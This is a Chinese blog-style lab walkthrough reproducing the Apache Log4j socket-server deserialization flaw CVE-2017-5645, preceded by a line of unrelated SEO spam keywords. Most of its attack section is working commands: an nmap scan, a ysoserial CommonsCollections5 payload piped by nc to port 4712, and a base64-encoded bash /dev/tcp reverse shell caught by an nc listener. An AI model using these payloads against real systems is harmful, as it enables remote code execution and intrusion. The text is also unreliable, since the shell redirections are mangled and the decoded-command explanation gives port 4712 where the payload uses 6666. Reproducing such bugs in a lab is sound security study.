安阳 网站建设,建站平台 阿里巴巴,注册劳务公司流程和费用,王烨这个名字怎么样文章目录 Apache Log4j Server 反序列化命令执行漏洞#xff08;CVE-2017-5645#xff09;1.1 漏洞描述1.2 漏洞复现1.2.1 环境启动1.2.2 漏洞验证1.2.3 漏洞利用 1.3 加固建议 Apache Log4j Server 反序列化命令执行漏洞#xff08;CVE-2017-5645#xff09;
1.1 漏洞描述… 文章目录 Apache Log4j Server 反序列化命令执行漏洞CVE-2017-56451.1 漏洞描述1.2 漏洞复现1.2.1 环境启动1.2.2 漏洞验证1.2.3 漏洞利用 1.3 加固建议 Apache Log4j Server 反序列化命令执行漏洞CVE-2017-5645
1.1 漏洞描述
Apache Log4j是一个用于Java的日志记录库其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
说明内容漏洞编号CVE-2017-5645漏洞名称Apache Log4j Server 反序列化命令执行漏洞漏洞评级高危影响范围Apache Log4j 2.8.2之前的2.x版本漏洞描述Apache Log4j是一个用于Java的日志记录库其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
1.2 漏洞复现
1.2.1 环境启动 1.2.2 漏洞验证
使用nmap工具扫描开放的端口 可以看到4712端口是正常开启的。
使用ysoserial生成payload然后直接发送给192.168.188.185:4712端口即可。 ysoserial是什么 ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”在适当的条件下可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令并将其封装在用户指定的小工具链中然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时将自动调用该链并导致在应用程序主机上执行该命令。 ysoserial项目地址 https://github.com/frohoff/ysoserial 下载后打包成jar文件进行使用。 执行命令
java -jar ysoserial-all.jar CommonsCollections5 touch /tmp/testsuccess | nc 192.168.188.185 4712执行命令进入容器
sudo docker exec -it [容器id] /bin/bash执行命令
cd tmp进入tmp文件夹查看目录文件可以看到testsuccess文件可见touch /tmp/testsuccess执行成功。 1.2.3 漏洞利用
只需要将命令替换成反弹shell的命令就能够成功弹回shell。
bash -i /dev/tcp/192.168.188.185/6666 01将构造的payload进行base64加密。
YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYxkali开启监听
nc -lnvp 6666再开启一个新的终端输入如下内容。
java -jar ysoserial-all.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} | nc 192.168.188.185 4712命令解析
bash -c这个选项告诉 Bash 执行后面的一系列命令。{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}这是一个经过 Base64 编码的命令字符串解码后为bash -i /dev/tcp/192.168.188.185/4712 01。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。{base64,-d}这个命令使用 base64 工具进行 Base64 解码。{bash,-i}这个命令会执行解码后的 Bash 命令即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。 反弹成功 能够正确执行命令shell反弹成功 1.3 加固建议
更新到最新版本